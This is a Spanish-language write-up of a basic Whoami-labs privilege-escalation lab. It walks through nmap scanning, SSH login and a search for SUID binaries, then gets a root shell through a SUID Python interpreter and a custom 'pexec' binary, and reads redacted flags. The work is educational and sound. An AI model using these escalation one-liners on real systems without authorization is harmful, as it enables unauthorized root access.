

Análisis de SUID Multivector

Explorando la Manipulación de Permisos en la Seguridad Informática

SUID-Multivector - Writeup

Plataforma	Whoami-labs.com
Laboratorio	SUID-Múltiples Vectores
Categoría	Escalada de Privilegios
Dificultad	Básica
Objetivo	Encontrar y explotar 3 flags mediante binarios con permisos SUID
Fecha	22/09/2026
Autora	Ruth Pérez

Introducción

En el ámbito de la seguridad informática, el concepto de SUID (Set User ID) es vital para comprender cómo los permisos de archivos pueden ser manipulados para otorgar privilegios elevados. Este documento explora el fenómeno del SUID multivector, un enfoque avanzado utilizado por actores malintencionados para escalar privilegios y comprometer sistemas de manera efectiva.

1.Reconocimiento Inicial

Se desplegó el laboratorio desde Whoami-labs.com, obteniendo credenciales de acceso y la IP del contenedor.

```
Bienvenido a WHOAMI-LABS.COM. Laboratorio: SUID-MultiVector.
Aprende, simula, escala. Sin burocracia.

[v] Imagen cargada correctamente.
[*] Iniciando laboratorio...
[v] Laboratorio iniciado correctamente.

[v] Laboratorio desplegado correctamente.

IP del laboratorio: 172.17.0.2
Usuario: hacker
Contraseña: suid2025
Comando de conexión: ssh hacker@172.17.0.2

Objetivo: Encuentra y explota múltiples vectores SUID para obtener 3 flags
Tip: Lee GUIA.txt para entender los conceptos y técnicas

Presiona Ctrl+C cuando quieras detener el laboratorio.
```

Escaneo con Nmap, único puerto abierto, 22/tcp (SSH-OpenSSH 8.9p1 Ubuntu)

```
(kali@kali)~/Laboratorios/whoami/suid_multivector]
$ nmap -sV -sC -p- 172.17.0.2
Starting Nmap 7.99 ( https://nmap.org ) at 2026-09-21 12:38 -0400
Nmap scan report for 172.17.0.2
Host is up (0.0000030s latency).
Not shown: 65534 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|_ 256 bf:3d:c4:b7:1e:9f:5a:dc:74:9b:b2:73:07:da:00:ad (ECDSA)
|_ 256 5e:7e:17:cd:6d:1f:ff:20:7f:cc:69:45:18:d7:97:1b (ED25519)
MAC Address: 82:BB:4C:90:EE:0C (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 1.51 seconds
```

2.Conexión inicial por SSH:

Antes de intentar romper nada, siempre hay que mapear qué servicios están expuestos, Aquí solo había SSH, así que el vector de entrada ya venía dado por las credenciales proporcionadas.

```
(kali@kali)~/Laboratorios/whoami/suid_multivector]
$ ssh hacker@172.17.0.2
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@ WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED! @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
IT IS POSSIBLE THAT SOMEONE IS DOING SOMETHING NASTY!
Someone could be eavesdropping on you right now (man-in-the-middle attack)!
It is also possible that a host key has just been changed.
The fingerprint for the ED25519 key sent by the remote host is
SHA256:3l5I/QzTkbB2b6unZmcnAstIphPuHSJGFMaIMF9UqM.
Please contact your system administrator.
Add correct host key in /home/kali/.ssh/known_hosts to get rid of this message.
Offending ECDSA key in /home/kali/.ssh/known_hosts:4
remove with:
ssh-keygen -f '/home/kali/.ssh/known_hosts' -R '172.17.0.2'
Host key for 172.17.0.2 has changed and you have requested strict checking.
Host key verification failed.

(kali@kali)~/Laboratorios/whoami/suid_multivector]
$ ssh-keygen -f '/home/kali/.ssh/known_hosts' -R '172.17.0.2'

# Host 172.17.0.2 found: line 2
# Host 172.17.0.2 found: line 3
# Host 172.17.0.2 found: line 4
/home/kali/.ssh/known_hosts updated.
Original contents retained as /home/kali/.ssh/known_hosts.old
```

3.Enumeración post-acceso

Verificación de identidad y contexto del usuario

```
SUID-Multivector

Laboratorio: SUID - Múltiples Vectores
Objetivo: Encuentra y explota 3 flags
Usuario: hacker | Password: suid2025

hacker@54475f2c3d42:~$ whoami
hacker
hacker@54475f2c3d42:~$ id
uid=1000(hacker) gid=1000(hacker) groups=1000(hacker)
hacker@54475f2c3d42:~$ ls -la
total 32
drwxr-x--- 1 hacker hacker 4096 Sep 21 17:00 .
drwxr-xr-x 1 root   root   4096 Dec 13  2025 ..
-rw-r--r-- 1 hacker hacker 220  Jan  6  2022 .bash_logout
-rw-r--r-- 1 hacker hacker 3771 Jan  6  2022 .bashrc
drwx----- 2 hacker hacker 4096 Sep 21 17:00 .cache
-rw-r--r-- 1 hacker hacker 807  Jan  6  2022 .profile
-rw-r--r-- 1 hacker hacker 1418 Dec 13  2025 GUIA.txt
```

Se encontró un archivo GUIA.txt en el home del usuario con contexto teórico sobre SUID Y comandos de enumeración sugeridos.

```
hacker@54475f2c3d42:~$ cat GUIA.txt

LABORATORIO: SUID - MÚLTIPLES VECTORES

OBJETIVO: Encontrar y explotar 3 flags diferentes

¿QUÉ SON LOS PRIVILEGIOS SUID?

SUID (Set User ID) es un permiso especial que permite ejecutar un binario con los privilegios del PROPIETARIO del archivo, no del usuario que lo ejecuta.

DETECCIÓN DE SUID:

La 's' en la posición del permiso de ejecución del propietario indica SUID:
-rwsr-xr-x ← La 's' indica SUID

COMANDOS ÚTILES:

# Buscar todos los binarios SUID:
find / -perm -4000 -type f -ls 2>/dev/null

# Buscar binarios SUID (formato corto):
find / -perm -4000 2>/dev/null

# Buscar binarios GUID:
find / -perm -2000 2>/dev/null

VECTORES DE EXPLOTACIÓN:

1. PYTHON CON SUID:
Busca python3 con SUID y ejecuta:
python3 -c 'import os; os.execl("/bin/sh", "sh", "-p")'

2. BINARIOS PERSONALIZADOS:
Busca binarios custom en /usr/local/bin/
Analízalos con: strings, ltrace, file
Ejemplo: ./pexec /bin/bash -p

3. GTFOBINS:
Visita: https://gtfobins.github.io/
Busca métodos de explotación para binarios SUID

¡Buena suerte!
hacker@54475f2c3d42:~$
```

```
VECTORES DE EXPLOTACIÓN:

1. PYTHON CON SUID:
Busca python3 con SUID y ejecuta:
python3 -c 'import os; os.execl("/bin/sh", "sh", "-p")'

2. BINARIOS PERSONALIZADOS:
Busca binarios custom en /usr/local/bin/
Analízalos con: strings, ltrace, file
Ejemplo: ./pexec /bin/bash -p

3. GTFOBINS:
Visita: https://gtfobins.github.io/
Busca métodos de explotación para binarios SUID

PISTAS:

- Hay 3 flags en /root/
- Flag 1: Usando Python con SUID
- Flag 2: Usando binario pexec
- Flag Final: Obten shell de root y lee flag_final.txt

¡Buena suerte!
hacker@54475f2c3d42:~$
```

Busqueda de binarios SUID

De la lista de binarios SUID del sistema, dos llamaron la atención por no ser binarios estándar del sistema operativo.

/usr/local/bin/python3_suid

/usr/local/bin/pexec

El resto de la lista correspondía a binarios legítimos del sistema (sudo, passwd, su, mount, ssh-keysign, etc.), no explotables sin configuración adicional.

```

hacker@54475f2c3d42:~$ find / -perm -4000 -type f -ls 2>/dev/null
 2371242    5796 -rwsr-xr-x  1 root    root      5933576 Dec 13  2025 /usr/local/bin/python3_suid
 2371226     16 -rwsr-xr-x  1 root    root      16272 Dec 13  2025 /usr/local/bin/pexec
 2277689     36 -rwsr-xr--  1 root    messagebus 35112 Oct 25  2022 /usr/lib/dbus-1.0/dbus-daemon-
 2277916    332 -rwsr-xr-x  1 root    root      338536 Apr 11  2025 /usr/lib/openssh/ssh-keysign
 2263872     56 -rwsr-xr-x  1 root    root      55680 Apr  9  2024 /usr/bin/su
 2263666     72 -rwsr-xr-x  1 root    root      72712 Feb  6  2024 /usr/bin/chfn
 2263797     40 -rwsr-xr-x  1 root    root      40496 Feb  6  2024 /usr/bin/newgrp
 2263792     48 -rwsr-xr-x  1 root    root      47488 Apr  9  2024 /usr/bin/mount
 2263898     36 -rwsr-xr-x  1 root    root      35200 Apr  9  2024 /usr/bin/umount
 2263808     60 -rwsr-xr-x  1 root    root      59976 Feb  6  2024 /usr/bin/passwd
 2263734     72 -rwsr-xr-x  1 root    root      72072 Feb  6  2024 /usr/bin/gpasswd
 2263672     44 -rwsr-xr-x  1 root    root      44808 Feb  6  2024 /usr/bin/chsh
 2105763    228 -rwsr-xr-x  1 root    root      232416 Jun 25  2025 /usr/bin/sudo
hacker@54475f2c3d42:~$

```

4.Vecto 1 - Flag1: Python3_suid

Al intérprete de python con el bit SUID activo, se puede invocar para ejecutar código arbitrario con privilegios de root, lanzando una shell.

```

hacker@fe3268a34f0a:~$ /usr/local/bin/python3_suid -c 'import os; os.execl("/bin/sh", "sh", "-p")'
# whoami
root
# id
uid=1000(hacker) gid=1000(hacker) euid=0(root) groups=1000(hacker)
# ls -al
total 32
drwxr-x--- 1 hacker hacker 4096 Sep 22 13:49 .
drwxr-xr-x 1 root   root   4096 Dec 13  2025 ..
-rw-r--r-- 1 hacker hacker 220 Jan  6  2022 .bash_logout

```

5.Vector 2 - Flag 2: pexec

Antes de ejecutar el binario a ciegas, se realizó análisis estático:

File reveló un ELF 64-bit dinámico, no stripped, con el bit setuid activo.

strings expuso mensajes de uso embebidos en el binario.

```

hacker@54475f2c3d42:~$ file /usr/local/bin/pexec
/usr/local/bin/pexec: setuid ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld
Linux 3.2.0, not stripped
hacker@54475f2c3d42:~$ strings /usr/local/bin/pexec
/lib64/ld-linux-x86-64.so.2
__cxa_finalize
__libc_start_main
puts
system
strlen
setuid
setgid
strcat
__stack_chk_fail
printf
libc.so.6
GLIBC_2.4
GLIBC_2.2.5
GLIBC_2.34
_ITM_deregisterTMCloneTable
__gmon_start__
_ITM_registerTMCloneTable
PTE1
u+UH

PEEXEC - Privileged Executor v1.0
Uso: pexec <comando>
Ejecuta comandos con privilegios elevados
[*] Ejecutando: %s
:~3$
GCC: (Ubuntu 11.4.0-1ubuntu1-22.04.2) 11.4.0
Scrt1.o
__abi_tag
crtstuff.c
deregister_tm_clones
__do_global_dtors_aux
completed.0
__do_global_dtors_aux_fini_array_entry
frame_dummy
__frame_dummy_init_array_entry
pexec.c
__FRAME_END__
__DYNAMIC
__GNU_EH_FRAME_HDR
__GLOBAL_OFFSET_TABLE__
__libc_start_main@GLIBC_2.34

```

Se confirmó el comportamiento con ltrace, al ejecutarlo sin argumentos, el binario terminaba con exited (status 1) tras mostrar el uso, confirmando que espera un comando como parámetro.

```

hacker@54475f2c3d42:~$ ltrace /usr/local/bin/pexec 2>&1 | head -50
puts("=====") ... ) = 36
puts(" PEEXEC - Privileged Executor v1" ... ) = 35
puts("=====") ... ) = 36
puts("Uso: pexec <comando>") = 21
puts("Ejecuta comandos con privilegios" ... ) = 42
puts("=====") ... ) = 36

PEEXEC - Privileged Executor v1.0

Uso: pexec <comando>
Ejecuta comandos con privilegios elevados

+++ exited (status 1) +++

```

6.Explotacion

```

hacker@54475f2c3d42:~$ /usr/local/bin/pexec /bin/bash -p
[*] Ejecutando: /bin/bash -p
root@54475f2c3d42:~# whoami
root
root@54475f2c3d42:~# id
uid=0(root) gid=0(root) groups=0(root),1000(hacker)

```

```
root@54475f2c3d42:~# cd /root
root@54475f2c3d42:/root# ls -la
total 28
drwx----- 1 root root 4096 Dec 13 2025 .
drwxr-xr-x 1 root root 4096 Sep 21 16:38 ..
-rw-r--r-- 1 root root 3106 Oct 15 2021 .bashrc
-rw-r--r-- 1 root root 161 Jul 9 2019 .profile
-rw----- 1 root root 33 Dec 13 2025 flag1.txt
-rw----- 1 root root 30 Dec 13 2025 flag2.txt
-rw----- 1 root root 38 Dec 13 2025 flag_final.txt
```

7. Obtención de la Flags

Con la shell de root ya obtenida mediante pexec, se accedió directamente al archivo objetivo final:

```
root@54475f2c3d42:/root# cat flag1.txt
FLAG{SU1D_ [REDACTED]
root@54475f2c3d42:/root# cat flag2.txt
FLAG{P3X3C_ [REDACTED]
root@54475f2c3d42:/root# cat flag_final.txt
FLAG{M4ST3R_0F_ [REDACTED]
root@54475f2c3d42:/root#
```